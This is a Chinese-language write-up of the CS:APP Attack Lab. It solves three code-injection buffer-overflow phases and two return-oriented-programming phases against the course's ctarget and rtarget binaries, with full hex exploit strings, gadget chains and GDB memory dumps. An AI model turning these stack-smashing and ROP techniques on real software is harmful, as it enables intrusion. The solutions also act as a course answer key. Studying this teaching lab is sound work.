一、资源概览
从网站上下载到压缩包target1,解压后包含如下文件:
- README.txt:文件夹中各个文件的介绍。
- ctarget和rtarget:用于进行攻击的可执行文件
- cookie.txt:一个八位十六进制数,有些攻击会用到。
- farm.c:ROP攻击中用到的“gadget farm”的源码。
- hex2raw:用于生成攻击字符串的工具程序。
二、注意事项
- 运行ctarget和rtarget时可以使用以下参数:
- -q:self-study必选参数,避免程序寻找教师的服务器。
- -h:列出可能的命令行参数
- -i FILE:从文件读取输入,而非从标准输入
使用”./hex2raw”将exploit字符串转换为字节码。使用方法参考attack.pdf的Appendix A。简而言之,输入应该为每两个十六进制数一组,用空格进行分隔。比如十六进制0应该写作00,0xdeadbeef应该写作“ef be ad de”。hex2raw的使用方法如下:
unix> cat exploit.txt | ./hex2raw | ./ctarget- 本实验可以参考CS:APP3e之3.10.3节和3.10.4节。
- 使用ret指令实施攻击,所用的地址应该是下列之一:
- 函数touch1, touch2或touch3的地址
- 注入代码的地址
- 从gadget farm中利用的gadgets地址
- 从rtarget文件中构造gadgets的时候,地址应该在start_farm和end_farm之间。
漏洞存在于getbuf函数:无法得知缓冲区是否能容纳读入的字符串。
unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
三、Part I: Code Injection Attacks
- 攻击目标:ctarget
- ctarget运行时,栈上位置是连续的,所以栈上的数据是可执行的。
Phase 1
- 任务:使ctarget从getbuf返回时,执行touch1的代码,而不是返回到test中继续执行。
建议:
- 所需信息仅需要反汇编代码。可以用objdump -d
- 注意字节顺序
- 使用GDB,在getbuf的最后几步单步调试,确认情况
- buf在栈帧中的位置取决于编译时的常量BUFFER_SIZE,以及GCC使用的分配策略。需要根据反汇编代码确定buf的位置。
查看getbuf
gdb-peda$ disas getbuf Dump of assembler code for function getbuf: => 0x00000000004017a8 <+0>: sub rsp,0x28 0x00000000004017ac <+4>: mov rdi,rsp 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov eax,0x1 0x00000000004017b9 <+17>: add rsp,0x28 0x00000000004017bd <+21>: ret End of assembler dump.很容易发现buf的缓冲区大小为0x28,所以填充了40个双字之后,写入的地址就可以覆盖返回地址ret了。记得要把地址后面的0补足了。
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA c0 17 40 00 00 00 00 00- Phase 1可以通过了。
cd@ubuntu:~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00
Phase 2
任务:使ctarget从getbuf返回时,执行touch2的代码,而不是返回到test中继续执行。并且要将cookie作为参数传递给touch2。
touch2的代码如下:
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }建议:
- 传递给函数的第一个参数保存在%rdi中。
- 注入代码应该把寄存器的值设成cookie,然后使用ret指令跳转到touch2。
- 总是使用ret指令来执行程序的控制转移。
思考:
- 注入代码的工作流程如上面的建议所示,首先要把%rdi的值设置为cookie的值,然后使用ret指令跳转到touch2。问题是,第二步怎么才能做到?
- ret指令的作用:从栈上弹出地址A,然后把PC设置为A。通常书上讲的是call和ret如何配合使用。这里则可以单独利用ret的功能,把touch2的地址压入栈,使其位于栈顶,然后ret指令就会把控制转移到touch2。
exploit-2
注意!返回地址要用00前缀补齐位数;压入栈的地址要有**一个**00前缀,多余的00会被混入下一条指令,没有00的话下一条指令会被认作地址(gcc会处理好,不要自己乱加或者乱删)。
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */ 68 ec 17 40 00 /* pushq $0x4017ec */ c3 /* retq */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 /* old %rsp */- Phase 2通过。
cd@ubuntu:~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Phase 3
- 任务:Phase 3也需要把Cookie作为参数,传递给touch3。但是需要传递cookie的字符串形式。
touch3的代码:
/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); /* cookie is trasfered from unsigned to string */ return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }- 建议:
- 需要把cookie转换为字符串表示形式。8位十六进制的cookie -> 8个十六进制表示的数字。(man ascii)
- 注意,字符串要用字节0作为结尾!
- 注入代码应该把%rdi设置为字符串的地址
- 在调用hexmatch和strncmp的时候,将会把数据压入堆栈,所以会覆盖getbuf使用的缓冲区中的部分内存。所以,谨慎选择放置cookie的位置。
思考:
要把cookie字符串作为参数,传递给touch3。那么需要在栈里找一个位置来保存cookie字符串。修改Phase 2的exploit,先把cookie放在0x5561dca8的位置。
48 c7 c7 88 dc 61 55 /* mov $0x5561dca8,%rdi */ 68 fa 18 40 00 /* pushq $0x4018fa */ c3 /* retq */ 00 00 00 35 39 62 39 39 37 66 61 /* $0x59b997fa, cookie */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 /* %rsp */在touch3的<+17>与<+28>处下断点,比较调用hexmatch前后,栈上内存的变化情况。
gdb-peda$ disas touch3 Dump of assembler code for function touch3: 0x00000000004018fa <+0>: push rbx 0x00000000004018fb <+1>: mov rbx,rdi 0x00000000004018fe <+4>: mov DWORD PTR [rip+0x202bd4],0x3 # 0x6044dc <vlevel> 0x0000000000401908 <+14>: mov rsi,rdi 0x000000000040190b <+17>: mov edi,DWORD PTR [rip+0x202bd3] # 0x6044e4 <cookie> 0x0000000000401911 <+23>: call 0x40184c <hexmatch> 0x0000000000401916 <+28>: test eax,eax 0x0000000000401918 <+30>: je 0x40193d <touch3+67> 0x000000000040191a <+32>: mov rdx,rbx ...... End of assembler dump.<+17>处的栈上内存,其中0x5561dc78 ~ 0x5561dc9f为缓冲区,大小为40个字节。可以看到0x5561dca0的内存已经不是exploit写入的内容了,因为touch3有push rbx的操作。
gdb-peda$ x /56b 0x5561dc78 0x5561dc78: 0x48 0xc7 0xc7 0x88 0xdc 0x61 0x55 0x68 0x5561dc80: 0xfa 0x18 0x40 0x00 0xc3 0x00 0x00 0x00 0x5561dc88: 0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61 0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dca0: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00 0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<+28>处的栈上内存,其中0x5561dc78 ~ 0x5561dca0为缓冲区。此时原缓冲区的内容基本已经不同于exploit写入的内容。
gdb-peda$ x /56b 0x5561dc78 0x5561dc78: 0x00 0xcc 0xb4 0x4a 0x28 0xa7 0xa4 0xb5 0x5561dc80: 0x88 0xdc 0x61 0x55 0x00 0x00 0x00 0x00 0x5561dc88: 0xe8 0x5f 0x68 0x55 0x00 0x00 0x00 0x00 0x5561dc90: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dc98: 0x16 0x19 0x40 0x00 0x00 0x00 0x00 0x00 0x5561dca0: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00 0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00分析一下,因为调用hexmatch,sprintf和strncmp多次压栈,而且写入cookie的栈上地址是随机的,因此传入的字符串不能保存在getbuf函数的缓冲区。可行的方式是把字符串保存在getbuf的父进程的栈中。如exploit-3所示。
exploit-3
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */ 68 fa 18 40 00 /* pushq $0x4018fa */ c3 /* retq */ 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 /* %rsp */ 35 39 62 39 39 37 66 61 00 /* cookie, at $0x5561dca8 */- Phase 3成功通过。
sh
gdb-peda$ c
Continuing.
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
四、Part II: Return-Oriented Programming
简单来说,Part II和Phase 2以及Phase 3是相同的攻击目标,但是需要使用ROP攻击。每个gadget可以实现一个小步骤,完成对寄存器的操作,然后ret,接着执行下一个gadget。一系列被执行的gadgets形成了链条,最终达到我们的目的。
readme.pdf给出了Byte encodings of instructions,做题时按图索骥,在gadgets farm中寻找有没有匹配的gadget。
rtarget使用了两种技术防止代码注入攻击:
- 栈地址随机化
- 栈不可执行
攻击方式:执行已有的代码,而不是注入新的代码。最常见的是ROP。
- ROP可以形成一个gadgets的链条,通过每个gadget末尾的ret指令,程序可以跳转到下一个gadget的开头。
- rtarget中的gadgets farm由start_farm和end_farm划定,请勿尝试从程序的其他部分构建gadgets。
允许使用以下指令:
- movq
- popq
- ret
- nop
- 建议:
- 划定区域:从start_farm到mid_farm
- 该攻击可以仅使用两个gadgets
- 当一个gadget使用popq指令时,会从栈上pop数据。因此,exploit字符串应该包含gadget地址和data。
Phase 4
思考:
首先要把cookie传入%rdi,然后再转入到touch2函数。根据readme.pdf的命令列表,在gadets farm中没有发现popq %rdi。于是可以先popq %rax,然后movq %rax, %rdi
exploit-4
这里的缓冲区完全被junk填充,然后从getbuf的ret向下执行。用到了两个gadget,所用到的data也放在了栈上。AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA cc 19 40 00 00 00 00 00 /* jump 0x4019cc; popq %rax */ fa 97 b9 59 00 00 00 00 /* cookie */ c5 19 40 00 00 00 00 00 /* jump 0x4019c5; movq %rax, %rdi */ ec 17 40 00 00 00 00 00 /* touch2 */通过Phase 4
gdb-peda$ r -q < ./exploit-4-raw.txt Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Phase 5
思考:
同Phase 5一样,这里也需要考虑如何存放cookie字符串,并且多了一个传递字符串地址到%rdi的难题。
首先,getbuf的缓冲区应该全部填充为junk,那么cookie字符串为了不干扰exploit的正常运行,必然要放在exploit的最后。
第二个问题,一开始在gadgets farm找到许多如下的操作:
mov $0x909078fb,%eax lea -0x3c3876b8(%rdi),%eax movl $0xc7c78948,(%rdi) ......所以考虑过能否使用这些数值来拼凑一个地址,然后把cookie字符串放在那里。但是由于有栈随机化,所以这个思路不行。
后来看了一些解答,发现居然有movq %rsp, %rax这样的神操作,那样就可以用(%rsp) + x的方式来得到cookie字符串的地址了。然后就是一通拼拼凑凑,用了8个gadgets完成了exploit。
exploit-5
关于这种需要很多gadgets才能完成的exploit,觉得思路肯定是最重要的,但是思路明晰之后,在组成gadgets的链条时,不妨用倒序查找的方法,也许会快一些。当然,今后肯定会使用一些查找gadgets的工具啦。AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1a 40 00 00 00 00 00 /* jump 0x401a06 ;movq %rsp, %rax */ c5 19 40 00 00 00 00 00 /* jump 0x4019c5 ;movq %rax, %rdi */ ab 19 40 00 00 00 00 00 /* jump 0x4019ab ;popq %rax */ 48 00 00 00 00 00 00 00 /* distance from here to cookie string */ dd 19 40 00 00 00 00 00 /* jump 0x4019dd ;movl %eax, %edx */ 34 1a 40 00 00 00 00 00 /* jump 0x401a34 ;movl %edx, %ecx */ 13 1a 40 00 00 00 00 00 /* jump 0x401a13 ;movl %ecx, %esi */ d6 19 40 00 00 00 00 00 /* jump 0x4019d6 ;lea (%rdi,%rsi,1),%rax */ c5 19 40 00 00 00 00 00 /* jump 0x4019c5 ;movq %rax, %rdi */ fa 18 40 00 00 00 00 00 /* touch3 */ 35 39 62 39 39 37 66 61 /* cookie string */ 00 00 00 00 00 00 00 00 /* string ends with 00 */- 通过Phase 5
gdb-peda$
Continuing.
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
本文详细介绍了CSAPP实验3的内容,包括Code Injection的三个阶段,以及Return-Oriented Programming(ROP)的两个阶段。实验涉及利用gadgets进行攻击,通过修改栈上的返回地址,注入代码来执行特定功能,如传递cookie值给touch1, touch2和touch3函数。实验中使用了objdump, GDB等工具,强调了栈的布局、地址计算和利用ret指令的重要性。"
131743700,19435589,Java-JSP养老院管理系统设计与实现,"['Java', '课程设计', '开发语言', 'SSM框架', '毕设指导']

1万+

被折叠的 条评论
为什么被折叠?



